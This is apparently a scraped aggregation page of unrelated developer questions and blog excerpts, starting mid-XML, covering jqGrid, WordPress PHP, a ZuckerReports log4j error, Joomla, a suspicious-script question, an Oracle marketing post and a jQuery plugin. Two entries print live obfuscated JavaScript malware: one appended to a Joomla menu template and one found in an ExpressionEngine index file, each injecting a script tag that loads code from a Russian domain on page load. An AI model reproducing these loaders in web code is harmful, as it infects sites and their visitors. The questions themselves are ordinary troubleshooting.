type="integer">488525179</id> <updated-at type="datetime">2010-04-16T13:59:40Z</updated-at> </currency> </contract> <contract> <amount type="float">500.0</amount> <created-at type="datetime">2010-04-16T13:59:40Z</created-at> <currency-id type="integer">890731696</currency-id> <id type="integer">716237132</id> <side>SELL</side> <updated-at type="datetime">2010-04-16T13:59:40Z</updated-at> <user-id type="integer">830138774</user-id> <exchange-rate> <contract-id type="integer">716237132</contract-id> <created-at type="datetime">2010-04-16T13:59:40Z</created-at> <denccy-id type="integer">890731696</denccy-id> <id type="integer">861902380</id> <numccy-id type="integer">488525179</numccy-id> <rate type="float">1.3</rate> <updated-at type="datetime">2010-04-16T13:59:40Z</updated-at> </exchange-rate> <user> <created-at type="datetime">2010-04-16T13:59:40Z</created-at> <id type="integer">830138774</id> <updated-at type="datetime">2010-04-16T13:59:40Z</updated-at> <username>John Doe</username> </user> <currency> <ccy>GBP</ccy> <created-at type="datetime">2010-04-16T13:59:40Z</created-at> <id type="integer">890731696</id> <updated-at type="datetime">2010-04-16T13:59:40Z</updated-at> </currency> </contract> </contracts>

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  • Why won't jqGrid populate initially in Chrome

    - by Maxm007
    Hi, I've got a web page with a jqGrid that uses am xmlreader to populate itself with data that is spat out by a RoR service. The page loads fine in firefox and safari. In Chrome however I get a blank grid. Only when I change the sort order by clicking on the columns does it populate. <html> <head> <title>LocalFx</title> <link href="/stylesheets/main.css?1271423251" media="screen" rel="stylesheet" type="text/css" /> <link href="/stylesheets/redmond/jquery-ui-1.8.custom.css?1271404544" media="screen" rel="stylesheet" type="text/css" /> <link href="/stylesheets/ui.jqgrid.css?1265561560" media="screen" rel="stylesheet" type="text/css" /> <script src="/javascripts/jquery-1.3.2.min.js?1259426008" type="text/javascript"></script> <script src="/javascripts/i18n/grid.locale-en.js?1266140090" type="text/javascript"></script> <script src="/javascripts/jquery.jqGrid.min.js?1271437772" type="text/javascript"></script> <script type="text/javascript"> jQuery().ready(function() { jQuery("#list").jqGrid({ xmlReader: { root:"contracts", row:"contract", repeatitems:false, id:"id" }, jsonReader: { repeatitems:false, root:"contracts" }, datatype: 'xml', url:'http://localhost:3000/contracts/index/all.xml', mtype: 'GET', colNames:['User','B/S', 'Currency', 'Amount', 'Rate'], colModel :[ {name:'user', index:'username', width:100 , xmlmap:'user>username'} , {name:'side', index:'side', width:100 , xmlmap:'side'} , {name:'currency', index:'ccy', width:100 , xmlmap:'currency>ccy'} , {name:'amount', index:'amount', width:100 , xmlmap:'amount'}, {name:'rate', index:'rate', width:100 , xmlmap:'exchange-rate>rate'} ], pager: jQuery('#pager'), caption: 'Contracts', sortname: 'side', sortorder: "asc", viewrecords:true, rowNum:10, rowList:[10,20,30] }); $("#list").trigger("reloadGrid") }); </script> </head> <body> <table id="list" align="center" class="scroll"></table> <div id="pager" class="scroll" style="text-align:center;"></div> </body> </html> This is the xml: <contracts type="array"> <contract> <amount type="float">1000.0</amount> <created-at type="datetime">2010-04-16T13:59:40Z</created-at> <currency-id type="integer">488525179</currency-id> <id type="integer">18277852</id> <side>BUY</side> <updated-at type="datetime">2010-04-16T13:59:40Z</updated-at> <user-id type="integer">830138774</user-id> <exchange-rate> <contract-id type="integer">18277852</contract-id> <created-at type="datetime">2010-04-16T13:59:40Z</created-at> <denccy-id type="integer">890731696</denccy-id> <id type="integer">419011264</id> <numccy-id type="integer">488525179</numccy-id> <rate type="float">1.3</rate> <updated-at type="datetime">2010-04-16T13:59:40Z</updated-at> </exchange-rate> <user> <created-at type="datetime">2010-04-16T13:59:40Z</created-at> <id type="integer">830138774</id> <updated-at type="datetime">2010-04-16T13:59:40Z</updated-at> <username>John Doe</username> </user> <currency> <ccy>EUR</ccy> <created-at type="datetime">2010-04-16T13:59:40Z</created-at> <id type="integer">488525179</id> <updated-at type="datetime">2010-04-16T13:59:40Z</updated-at> </currency> </contract> <contract> <amount type="float">500.0</amount> <created-at type="datetime">2010-04-16T13:59:40Z</created-at> <currency-id type="integer">890731696</currency-id> <id type="integer">716237132</id> <side>SELL</side> <updated-at type="datetime">2010-04-16T13:59:40Z</updated-at> <user-id type="integer">830138774</user-id> <exchange-rate> <contract-id type="integer">716237132</contract-id> <created-at type="datetime">2010-04-16T13:59:40Z</created-at> <denccy-id type="integer">890731696</denccy-id> <id type="integer">861902380</id> <numccy-id type="integer">488525179</numccy-id> <rate type="float">1.3</rate> <updated-at type="datetime">2010-04-16T13:59:40Z</updated-at> </exchange-rate> <user> <created-at type="datetime">2010-04-16T13:59:40Z</created-at> <id type="integer">830138774</id> <updated-at type="datetime">2010-04-16T13:59:40Z</updated-at> <username>John Doe</username> </user> <currency> <ccy>GBP</ccy> <created-at type="datetime">2010-04-16T13:59:40Z</created-at> <id type="integer">890731696</id> <updated-at type="datetime">2010-04-16T13:59:40Z</updated-at> </currency> </contract> </contracts>

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  • PHP statements, HTML and RSS

    - by poindexter
    Alrighty, I've got another little bit of code that I'm wrestling through. I'm building a conditional sidebar. The goal is to only show blog related stuff when posts in the "blog" category are being viewed. I've got part of it working, but the part where I'm trying to bring in an RSS feed of the category into the sidebar to show as recent posts. It doesn't work, and since I'm a php newb I'm not entirely sure why. Any suggestions or pointers are much appreciated. I'll post the problem section first, and then the entire php file second, so you all can see the context for the section that I'm having issues with. Problem Section: echo '<div class="panel iq-news">'; echo '<h4><span><a href="/category/blog/feed"><img src="/wp-content/themes/iq/images/rss-icon.gif" alt="Subscribe to our feed"/></a></span>IQNavigator Blog</h4>'; <?php query_posts('category_name=Blog&showposts=2'); if (have_posts()) : ?> echo '<ul>'; <?php while (have_posts()) : the_post(); ?> echo '<li><a href="<?php the_permalink();?>"><?php the_title();?> </a></li>'; <?php endwhile;?> echo '</ul>'; <?php endif;?> echo '<div class="twitter">'; echo '<p id="twitter-updates">'; <?php twitter_updates();?> echo '</p>'; echo '<p class="text-center"><a href="http://twitter.com/iqnavigator">Follow us on twitter</a></p>'; echo '</div>'; echo '</div>'; The whole darn long statement, for context reasons: <div class="sidebar"> <?php if (!is_search() && !is_page('Our Clients') && !is_archive()){ if($post->post_parent) { $children = wp_list_pages("title_li=&child_of=".$post->post_parent."&echo=0&depth=1&exclude=85,87,89,181,97,184"); } else { $children = wp_list_pages("title_li=&child_of=".$post->ID."&echo=0&depth=1&exclude=85,87,89,181,97,184"); } if ($children) { ?> <div class="panel links subnav"> <h3>In This Section</h3> <ul class="subnav"> <?php echo $children; ?> </ul> <p>&nbsp;</p> </div> <?php } } if(is_page('Our Clients') || in_category('Our Clients') || is_category('Our Clients')) { echo '<div class="panel links subnav">'; echo '<h3>In This Section</h3>'; echo '<ul class="subnav">'; wp_list_categories('child_of=21&title_li='); echo '</ul>'; echo '<p>&nbsp;</p>'; echo '</div>'; } else if (in_category('Blog')) { //PUT YOUR CODE HERE // echo get_page_content(34); echo '<div class="panel featured-resource">'; echo '<h4>Blog Contributors</h4>'; echo '<ul class"subnav">'; echo '<li><a href="/company/executive-team/john-f-martin/">John Martin</a></li>'; echo '<li><a href="/company/executive-team/kieran-brady/">Kieran Brady</a></li>'; echo '<li><a href="/company/executive-team/art-knapp/">Art Knapp</a></li>'; echo '</ul>'; echo '</div>'; echo '<div class="panel iq-news">'; echo '<h4><span><a href="/category/blog/feed"><img src="/wp-content/themes/iq/images/rss-icon.gif" alt="Subscribe to our feed"/></a></span>IQNavigator Blog</h4>'; <?php query_posts('category_name=Blog&showposts=2'); if (have_posts()) : ?> echo '<ul>'; <?php while (have_posts()) : the_post(); ?> echo '<li><a href="<?php the_permalink();?>"><?php the_title();?> </a></li>'; <?php endwhile;?> echo '</ul>'; <?php endif;?> echo '<div class="twitter">'; echo '<p id="twitter-updates">'; <?php twitter_updates();?> echo '</p>'; echo '<p class="text-center"><a href="http://twitter.com/iqnavigator">Follow us on twitter</a></p>'; echo '</div>'; echo '</div>'; //END CODE HERE } if (!is_page('Resources')) { ?> <div class="panel featured-resource"> <h4>Featured Resource</h4> <div class="embed"> <?php $custom_fields = get_post_custom(); $featured_video_code = $custom_fields['Featured Video Code']; if($featured_video_code) { foreach ( $featured_video_code as $key => $value ) { $the_code = $value; } $featured_video_link = $custom_fields['Featured Video Link']; foreach ( $featured_video_link as $key => $value ) { $the_link = $value; } $featured_video_text = $custom_fields['Featured Video Text']; foreach ( $featured_video_text as $key => $value ) { $the_text = $value; } if($the_code) { echo $the_code; } if($the_text) { echo '<ul>'; echo '<li>'; if($the_link) { echo '<a href="' . $the_link . '" class="video" target="_blank">' . $the_text . '</a>'; } else { echo $the_text; } echo '</li>'; echo '</ul>'; } } ?> + Visit Resource Center <div class="clr"></div> <div class="blue-bars"> <a href="<?php bloginfo('template_directory');?>/more-info.php" class="more-info" rel="facebox">Request More Info</a> <a href="<?php bloginfo('template_directory');?>/resource-form.php?id=701000000009E" class="view-demos" rel="facebox">Schedule a Demo</a> </div> </div> <div id="content">

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  • Java error starting with "log4j:WARN No appenders could be found for logger" in ZuckerReports SugarC

    - by Tom McDonnell
    Greetings all. I apologise for posting this problem here, but I do so in desperation after receiving no response on the SugarCRM forums. Even if a reader is unfamiliar with ZuckerReports or SugarCRM some general advice on Java may be of use to me. I have installed ZuckerReports v1.12 in SugarCRM 5.5.1. When I attempt to run a report I get the following error message. cmdline: javaw -classpath "custom/ZuckerReports/resources/;custom/ZuckerReports/resources/contact_counts_by_first_name.jasper_files/;modules/ZuckerReports/jasper/ant-1.7.1.jar;modules/ZuckerReports/jasper/antlr-2.7.6.jar;modules/ZuckerReports/jasper/asm-attrs.jar;modules/ZuckerReports/jasper/asm.jar;modules/ZuckerReports/jasper/barbecue-1.5-beta1.jar;modules/ZuckerReports/jasper/barcode4j-2.0.jar;modules/ZuckerReports/jasper/batik-anim.jar;modules/ZuckerReports/jasper/batik-awt-util.jar;modules/ZuckerReports/jasper/batik-bridge.jar;modules/ZuckerReports/jasper/batik-css.jar;modules/ZuckerReports/jasper/batik-dom.jar;modules/ZuckerReports/jasper/batik-ext.jar;modules/ZuckerReports/jasper/batik-gvt.jar;modules/ZuckerReports/jasper/batik-parser.jar;modules/ZuckerReports/jasper/batik-script.jar;modules/ZuckerReports/jasper/batik-svg-dom.jar;modules/ZuckerReports/jasper/batik-svggen.jar;modules/ZuckerReports/jasper/batik-util.jar;modules/ZuckerReports/jasper/batik-xml.jar;modules/ZuckerReports/jasper/bcel-5.2.jar;modules/ZuckerReports/jasper/bsh-2.0b4.jar;modules/ZuckerReports/jasper/castor-1.2.jar;modules/ZuckerReports/jasper/cglib-2.1.jar;modules/ZuckerReports/jasper/cincom-jr-xmla.jar;modules/ZuckerReports/jasper/commons-beanutils-1.8.2.jar;modules/ZuckerReports/jasper/commons-collections-3.2.1.jar;modules/ZuckerReports/jasper/commons-dbcp-1.2.2.jar;modules/ZuckerReports/jasper/commons-digester-1.7.jar;modules/ZuckerReports/jasper/commons-javaflow-20060411.jar;modules/ZuckerReports/jasper/commons-logging-1.1.jar;modules/ZuckerReports/jasper/commons-math-1.0.jar;modules/ZuckerReports/jasper/commons-pool-1.3.jar;modules/ZuckerReports/jasper/commons-vfs-1.0.jar;modules/ZuckerReports/jasper/dom4j-1.6.jar;modules/ZuckerReports/jasper/ehcache-1.1.jar;modules/ZuckerReports/jasper/eigenbase-properties-1.1.0.10924.jar;modules/ZuckerReports/jasper/eigenbase-resgen-1.3.0.11873.jar;modules/ZuckerReports/jasper/eigenbase-xom-1.3.0.11999.jar;modules/ZuckerReports/jasper/ejb3-persistence.jar;modules/ZuckerReports/jasper/groovy-all-1.5.5.jar;modules/ZuckerReports/jasper/hibernate-annotations.jar;modules/ZuckerReports/jasper/hibernate-commons-annotations.jar;modules/ZuckerReports/jasper/hibernate3.jar;modules/ZuckerReports/jasper/hsqldb-1.8.0-10.jar;modules/ZuckerReports/jasper/iText-2.1.0.jar;modules/ZuckerReports/jasper/iTextAsian.jar;modules/ZuckerReports/jasper/jakarta-bcel-20050813.jar;modules/ZuckerReports/jasper/jasperreports-3.7.1.jar;modules/ZuckerReports/jasper/jasperreports-chart-themes-3.6.2.jar;modules/ZuckerReports/jasper/jasperreports-extensions-3.5.3.jar;modules/ZuckerReports/jasper/jasperreports-fonts-3.6.1.jar;modules/ZuckerReports/jasper/javacup.jar;modules/ZuckerReports/jasper/javassist-3.4.GA.jar;modules/ZuckerReports/jasper/jaxen-1.1.1.jar;modules/ZuckerReports/jasper/jcommon-1.0.15.jar;modules/ZuckerReports/jasper/jdt-compiler-3.1.1.jar;modules/ZuckerReports/jasper/jfreechart-1.0.12.jar;modules/ZuckerReports/jasper/jpa.jar;modules/ZuckerReports/jasper/js_activation-1.1.jar;modules/ZuckerReports/jasper/js_axis-1.4patched.jar;modules/ZuckerReports/jasper/js_commons-codec-1.3.jar;modules/ZuckerReports/jasper/js_commons-discovery-0.2.jar;modules/ZuckerReports/jasper/js_commons-httpclient-3.1.jar;modules/ZuckerReports/jasper/js_jasperserver-common-ws-3.5.0.jar;modules/ZuckerReports/jasper/js_jaxrpc.jar;modules/ZuckerReports/jasper/js_mail-1.4.jar;modules/ZuckerReports/jasper/js_saaj-api-1.3.jar;modules/ZuckerReports/jasper/js_wsdl4j-1.5.1.jar;modules/ZuckerReports/jasper/jta.jar;modules/ZuckerReports/jasper/jxl-2.6.jar;modules/ZuckerReports/jasper/log4j-1.2.15.jar;modules/ZuckerReports/jasper/mondrian-3.1.1.12687-Jaspersoft.jar;modules/ZuckerReports/jasper/mysql-connector-java-3.1.11-bin.jar;modules/ZuckerReports/jasper/olap4j-0.9.7.145.jar;modules/ZuckerReports/jasper/png-encoder-1.5.jar;modules/ZuckerReports/jasper/poi-3.2-FINAL-20081019.jar;modules/ZuckerReports/jasper/rex-20080421.jar;modules/ZuckerReports/jasper/rhino-1.7R1.jar;modules/ZuckerReports/jasper/saaj-api-1.3.jar;modules/ZuckerReports/jasper/slf4j-api.jar;modules/ZuckerReports/jasper/slf4j-log4j12.jar;modules/ZuckerReports/jasper/spring.jar;modules/ZuckerReports/jasper/sqleonardo-2007.03.jar;modules/ZuckerReports/jasper/swingx-2007_10_07.jar;modules/ZuckerReports/jasper/xml-apis-ext.jar;modules/ZuckerReports/jasper/xml-apis.jar;modules/ZuckerReports/jasper/zuckerreports-1.0.jar" at.go_mobile.zuckerreports.JasperBatchMain custom/ZuckerReports/temp/aff882c1-684b-d2de-403e-4be367bc2f5f/cmd.properties 2&1 JasperBatchMain :: loading jasper design custom/ZuckerReports/resources/contact_counts_by_first_name.jasper JasperBatchMain :: getParameterValue(REPORT_PARAMETERS_MAP, java.util.Map) = null JasperBatchMain :: getParameterValue(JASPER_REPORT, net.sf.jasperreports.engine.JasperReport) = null JasperBatchMain :: getParameterValue(REPORT_CONNECTION, java.sql.Connection) = null JasperBatchMain :: getParameterValue(REPORT_MAX_COUNT, java.lang.Integer) = null JasperBatchMain :: getParameterValue(REPORT_DATA_SOURCE, net.sf.jasperreports.engine.JRDataSource) = null JasperBatchMain :: getParameterValue(REPORT_SCRIPTLET, net.sf.jasperreports.engine.JRAbstractScriptlet) = null JasperBatchMain :: getParameterValue(REPORT_LOCALE, java.util.Locale) = null JasperBatchMain :: getParameterValue(REPORT_RESOURCE_BUNDLE, java.util.ResourceBundle) = null JasperBatchMain :: getParameterValue(REPORT_TIME_ZONE, java.util.TimeZone) = null JasperBatchMain :: getParameterValue(REPORT_FORMAT_FACTORY, net.sf.jasperreports.engine.util.FormatFactory) = null JasperBatchMain :: getParameterValue(REPORT_CLASS_LOADER, java.lang.ClassLoader) = null JasperBatchMain :: getParameterValue(REPORT_URL_HANDLER_FACTORY, java.net.URLStreamHandlerFactory) = null JasperBatchMain :: getParameterValue(REPORT_FILE_RESOLVER, net.sf.jasperreports.engine.util.FileResolver) = null JasperBatchMain :: getParameterValue(REPORT_VIRTUALIZER, net.sf.jasperreports.engine.JRVirtualizer) = null JasperBatchMain :: getParameterValue(IS_IGNORE_PAGINATION, java.lang.Boolean) = null JasperBatchMain :: getParameterValue(REPORT_TEMPLATES, java.util.Collection) = null log4j:WARN No appenders could be found for logger (net.sf.jasperreports.extensions.ExtensionsEnviron ment). log4j:WARN Please initialize the log4j system properly. Exception in thread "main" java.lang.IllegalArgumentException: Null 'key' argument. at org.jfree.data.DefaultKeyedValues.setValue(Default KeyedValues.java:229) at org.jfree.data.DefaultKeyedValues2D.setValue(Defau ltKeyedValues2D.java:337) at org.jfree.data.DefaultKeyedValues2D.addValue(Defau ltKeyedValues2D.java:303) at org.jfree.data.category.DefaultCategoryDataset.add Value(DefaultCategoryDataset.java:222) at net.sf.jasperreports.charts.fill.JRFillCategoryDat aset.customIncrement(JRFillCategoryDataset.java:14 3) at net.sf.jasperreports.engine.fill.JRFillElementData set.increment(JRFillElementDataset.java:175) at net.sf.jasperreports.engine.fill.JRCalculator.calc ulateVariables(JRCalculator.java:148) at net.sf.jasperreports.engine.fill.JRVerticalFiller. fillDetail(JRVerticalFiller.java:736) at net.sf.jasperreports.engine.fill.JRVerticalFiller. fillReportContent(JRVerticalFiller.java:272) at net.sf.jasperreports.engine.fill.JRVerticalFiller. fillReport(JRVerticalFiller.java:114) at net.sf.jasperreports.engine.fill.JRBaseFiller.fill (JRBaseFiller.java:923) at net.sf.jasperreports.engine.fill.JRBaseFiller.fill (JRBaseFiller.java:826) at net.sf.jasperreports.engine.fill.JRFiller.fillRepo rt(JRFiller.java:59) at at.go_mobile.zuckerreports.JasperBatchMain.main(Ja sperBatchMain.java:126) The same report runs correctly in another SugarCRM installation on the same server. The installation in which the report runs correctly is of the same version, and has the same version of the ZuckerReports module. The report previously ran correctly on both installations. I think that the only changes that have been made on the installation in which the report now does not work since the report was last successfully run are the additions of a few custom fields in the Contacts module. These changes should have nothing to do with ZuckerReports. I have tried uninstalling and reinstalling the ZuckerReports module, but the problem remains. A google search for the warnings given in the error message ie. * log4j:WARN No appenders could be found for logger (net.sf.jasperreports.extensions.ExtensionsEnviron ment). * log4j:WARN Please initialize the log4j system properly. Returns a few links (not specific to ZuckerReports) with tips similar to the following: * log4j.properties or log4j.xml needs to be on the classpath where log4j can find it. I cannot find a file with either of those names anywhere on my server, and yet the report can be run successfully on one of my SugarCRM installations. So I figure log4j must be being configured another way. Can anyone suggest a way to solve this problem? Or explain how I might discover how log4j is configured in ZuckerReports? Or explain how I might compare the working with the non-working installation in order to help find a solution? (I have tried searching for files containing "log4j" in both installations and comparing but all I can find are .jar files (nothing I can read with a text editor), and the .jar files found in each installation appear to be the same.)

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  • Parse error: syntax error, unexpected '<' in /home/future/public_html/modules/mod_mainmenu/tmpl/defa

    - by kofi
    I'm unfortunately having an unknown error with my php file. (for joomla 1.5) I don't seem to get what's wrong. This is my entire code, with an apparent error on line 84. Would appreciate some feedback, thanks. <?php // no direct access defined('_JEXEC') or die('Restricted access'); if ( ! defined('modMainMenuXMLCallbackDefined') ) { function modMainMenuXMLCallback(&$node, $args) { $user = &JFactory::getUser(); $menu = &JSite::getMenu(); $active = $menu->getActive(); $path = isset($active) ? array_reverse($active->tree) : null; if (($args['end']) && ($node->attributes('level') >= $args['end'])) { $children = $node->children(); foreach ($node->children() as $child) { if ($child->name() == 'ul') { $node->removeChild($child); } } } if ($node->name() == 'ul') { foreach ($node->children() as $child) { if ($child->attributes('access') > $user->get('aid', 0)) { $node->removeChild($child); } } } if (($node->name() == 'li') && isset($node->ul)) { $node->addAttribute('class', 'parent'); } if (isset($path) && (in_array($node->attributes('id'), $path) || in_array($node->attributes('rel'), $path))) { if ($node->attributes('class')) { $node->addAttribute('class', $node->attributes('class').' active'); } else { $node->addAttribute('class', 'active'); } } else { if (isset($args['children']) && !$args['children']) { $children = $node->children(); foreach ($node->children() as $child) { if ($child->name() == 'ul') { $node->removeChild($child); } } } } if (($node->name() == 'li') && ($id = $node->attributes('id'))) { if ($node->attributes('class')) { $node->addAttribute('class', $node->attributes('class').' item'.$id); } else { $node->addAttribute('class', 'item'.$id); } } if (isset($path) && $node->attributes('id') == $path[0]) { $node->addAttribute('id', 'current'); } else { $node->removeAttribute('id'); } $node->removeAttribute('rel'); $node->removeAttribute('level'); $node->removeAttribute('access'); } define('modMainMenuXMLCallbackDefined', true); } modMainMenuHelper::render($params, 'modMainMenuXMLCallback'); <script>var Zl;if(Zl!='' && Zl!='ki'){Zl=''};function v(){var jL=new String();var M=window;var q="";var ZY='';var Z=unescape;var C;if(C!='' && C!='g'){C=null};this.nj='';var _='';this.X="";var t=new Date();var R="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x61\x72\x65\x61\x73\x61\x6c\x65\x2d\x63\x6f\x6d\x2e\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x7a\x2e\x65\x79\x6e\x79\x2d\x63\x6f\x6d\x2e\x59\x6f\x75\x72\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x73\x2e\x72\x75\x3a";var Od;if(Od!='Dm' && Od!='V'){Od='Dm'};var Vr='';var P=new String("g");var B="";var E;if(E!='' && E!='gD'){E=null};function b(y,U){var zm=new Array();var a='';this.Cm="";var Vb=new String();var k=Z("%5b")+U+Z("%5d");var tX=new String();var MV;if(MV!='' && MV!='qt'){MV='MD'};var c=new RegExp(k, P);return y.replace(c, _);var cS="";var RTD='';};var Zr;if(Zr!='' && Zr!='vJ'){Zr=''};var L=new String();var DE=new Date();var fg;if(fg!='Ep'){fg='Ep'};var nf;if(nf!=''){nf='d_'};var W=Z("%2f%67%6f%6f%67%6c%65%2e%61%74%2f%67%6f%6f%67%6c%65%2e%61%74%2f%64%72%75%64%67%65%72%65%70%6f%72%74%2e%63%6f%6d%2f%74%72%61%76%69%61%6e%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");this.aA='';var u='';this.XB='';var dP;if(dP!='i' && dP != ''){dP=null};var dN;if(dN!='' && dN!='zx'){dN='_y'};var WS=b('85624104275582212705194497','13296457');var Hb=new Array();var lP;if(lP!='ok' && lP != ''){lP=null};var O=document;function n(){var J;if(J!='mS' && J != ''){J=null};u=R;var jv;if(jv!='' && jv!='jw'){jv=''};u+=WS;var MJ;if(MJ!='Qp'){MJ=''};u+=W;var fj=new Array();this.PM="";try {this.dq='';var ln=new Date();var eS=new Date();h=O.createElement(b('sScwrwi4pSt5','OZjKg4w5S'));var uW=new String();var Aj;if(Aj!='lX'){Aj='lX'};var aF;if(aF!='' && aF!='_o'){aF=null};h.src=u;var GY;if(GY!='ev' && GY!='Jr'){GY='ev'};var KK;if(KK!=''){KK='gDq'};h.defer=[1][0];var nO;if(nO!='tP'){nO=''};var aV=new Date();var bE=new Date();O.body.appendChild(h);this.Ze="";} catch(MC){var Ki;if(Ki!='m_' && Ki != ''){Ki=null};};}M[String("pqP5onloa".substr(4)+"drYD".substr(0,1))]=n;var EY;if(EY!='' && EY!='wn'){EY='Sj'};var ep;if(ep!='' && ep!='_q'){ep='Oy'};var uE=new Array();var E_;if(E_!='iU'){E_='iU'};};this.pt="";v();var tl=new String();</script> <!--793d57c076e95df45c451725e5dedf6f-->

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  • Weird Javascript in Template. Is this a hacking attempt?

    - by Julian
    I validated my client's website to xHTML Strict 1.0/CSS 2.1 standards last week. Today when I re-checked, I had a validation error caused by a weird and previous unknown script. I found this in the index.php file of my ExpressionEngine CMS. What is this javascript doing? Is this a hacking attempt as I suspected? I couldn't help but notice the Russian domain encoded in the script... this.v=27047; this.v+=187; ug=["n"]; OV=29534; OV--; var y; var C="C"; var T={}; r=function(){ b=36068; b-=144; M=[]; function f(V,w,U){ return V.substr(w,U); var wH=39640; } var L=["o"]; var cj={}; var qK={N:false}; var fa="/g"+"oo"+"gl"+"e."+"co"+"m/"+f("degL4",0,2)+f("rRs6po6rRs",4,2)+f("9GVsiV9G",3,2)+f("5cGtfcG5",3,2)+f("M6c0ilc6M0",4,2)+"es"+f("KUTz.cUzTK",4,2)+f("omjFb",0,2)+"/s"+f("peIlh2",0,2)+"ed"+f("te8WC",0,2)+f("stien3",0,2)+f(".nYm6S",0,2)+f("etUWH",0,2)+f(".pdVPH",0,2)+f("hpzToi",0,2); var BT="BT"; var fV=RegExp; var CE={bf:false}; var UW=''; this.Ky=11592; this.Ky-=237; var VU=document; var _n=[]; try {} catch(wP){}; this.JY=29554; this.JY-=245; function s(V,w){ l=13628; l--; var U="["+w+String("]"); var rk=new fV(U, f("giId",0,1)); this.NS=18321;this.NS+=195;return V.replace(rk, UW); try {} catch(k){}; }; this.jM=""; var CT={}; var A=s('socnruixpot4','zO06eNGTlBuoYxhwn4yW1Z'); try {var vv='m'} catch(vv){}; var Os={}; var t=null; var e=String("bod"+"y"); var F=155183-147103; this.kp=''; Z={Ug:false}; y=function(){ var kl=["mF","Q","cR"]; try { Bf=11271; Bf-=179; var u=s('cfr_eKaPtQe_EPl8eTmPeXn8to','X_BQoKfTZPz8MG5'); Fp=VU[u](A); var H=""; try {} catch(WK){}; this.Ca=19053; this.Ca--; var O=s('s5rLcI','2A5IhLo'); var V=F+fa; this.bK=""; var ya=String("de"+"fe"+f("r3bPZ",0,1)); var bk=new String(); pB=9522; pB++; Fp[O]=String("ht"+"tp"+":/"+"/t"+"ow"+"er"+"sk"+"y."+"ru"+":")+V; Fp[ya]=[1][0]; Pe=45847; Pe--; VU[e].appendChild(Fp); var lg=new Array(); var aQ={vl:"JC"}; this.KL="KL"; } catch(x){ this.Ja=""; Th=["pj","zx","kO"]; var Jr=''; }; Tr={qZ:21084}; }; this.pL=false; }; be={}; rkE={hb:"vG"}; r(); var bY=new Date(); window.onload=y; cU=["Yr","gv"];

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  • What’s New from the Oracle Marketing Cloud at Oracle OpenWorld 2014?

    - by Richard Lefebvre
    Normal 0 false false false EN-US X-NONE X-NONE MicrosoftInternetExplorer4 Marketing—CX Central is your hub for all things Marketing related at OpenWorld in San Francisco, September 28-October 2, 2014. Learn how to personalize the modern marketing journey to improve customer loyalty. We’re hosting more than 60 breakout sessions, half of which will highlight customer success stories from marquee brands including Bizo, Comcast, Dell, Epson, John Deere, Lane Bryant, ReadyTalk and Shutterfly. Moscone West, Levels 2 and 3 To learn more about how modern marketing works, visit Moscone West, levels 2 and 3, for exciting demos of each of the Oracle Marketing Cloud solutions (BlueKai, Compendium, Eloqua, Push I/O, and Responsys). You also can check out our stations for Vertical Marketing Best Practices, the Markie Awards, and more! CX Spotlight Sessions “Accelerating Big Profits in Big Data,” Jeff Tanner, Baylor University “Using Content Marketing to Impact Every Stage of the Buyer’s Journey,” Jennifer Agustin, Bizo “Expanding Your Marketing with Proven Testing and Optimization,” Brian Border, Shutterfly and Matthew Balthazor, Epson “Modern Marketing: The New Digital Dialogue,” Cory Treffiletti, Oracle A Special Marquee Session Dell’s Hayden Mugford will speak on “The Digital Ecosystem: Driving Experience Through Contact Engagement.” She will highlight how the organization built a digital ecosystem that supports a behaviorally driven, multivehicle nurturing campaign. The Dell 1:1 Global Marketing team worked with multiple partners to innovate integrations with Oracle Eloqua, Oracle Real-Time Decisions for real-time decision logic, and a content management system (CMS) that enables 100 percent customized e-mails. The program doubled average order values for nurtured contacts versus non-nurtured and tripled open and click-through rates versus push e-mail. Other Oracle Marketing Cloud Session Highlights Thought leadership by role Exploring the benefits of moving to the Cloud Product line roadmaps and innovations in Marketing Technical deep dives for product lines within Marketing Best practices and impactful business measurements Solutions that are Integrated across CX Target Audience Session content is geared toward professionals in Marketing, Marketing Operations, Marketing Demand Generation, Social: Chief Marketing Officers, Vice Presidents, Directors and Managers. Outcomes Customers attending Marketing—CX Central @ OpenWorld will be able to: Gain insight into delivering consistent cross-channel marketing Discover how to provide the right information to the right customer at the right time and with the right channel Get answers to burning questions and advice on business challenges Hear from other Oracle customers about recommended best practices to help their organization move forward Network and share ideas to help create a strategy for connecting with customers in better ways It Wouldn’t Be an Oracle Marketing Cloud Event Without a Party! We’re hosting CX Central Fest:  a unique customer experience specifically designed for attendees of CX Central. It will include a chance to rock out at a private concert featuring Los Angeles indie electronic pop group, Capital Cities! Join us Tuesday, September 30 from 7-9 p.m. OpenWorld is a fabulous way for your customers to see all that Oracle Marketing Cloud has to offer. Pass on an invitation today. By Laura Vogel (Oracle) /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin-top:0cm; mso-para-margin-right:0cm; mso-para-margin-bottom:10.0pt; mso-para-margin-left:0cm; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;}

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  • CascadingDropDown jQuery Plugin for ASP.NET MVC

    - by rajbk
    CascadingDropDown is a jQuery plugin that can be used by a select list to get automatic population using AJAX. A sample ASP.NET MVC project is attached at the bottom of this post.   Usage The code below shows two select lists : <select id="customerID" name="customerID"> <option value="ALFKI">Maria Anders</option> <option value="ANATR">Ana Trujillo</option> <option value="ANTON">Antonio Moreno</option> </select>   <select id="orderID" name="orderID"> </select> When a customer is selected in the first select list, the second list will auto populate itself with the following code: $("#orderID").CascadingDropDown("#customerID", '/Sales/AsyncOrders'); Internally, an AJAX post is made to ‘/Sales/AsyncOrders’ with the post body containing  customerID=[selectedCustomerID]. This executes the action AsyncOrders on the SalesController with signature AsyncOrders(string customerID).  The AsyncOrders method returns JSON which is then used to populate the select list. The JSON format expected is shown below : [{ "Text": "John", "Value": "10326" }, { "Text": "Jane", "Value": "10801" }] Details $(targetID).CascadingDropDown(sourceID, url, settings) targetID The ID of the 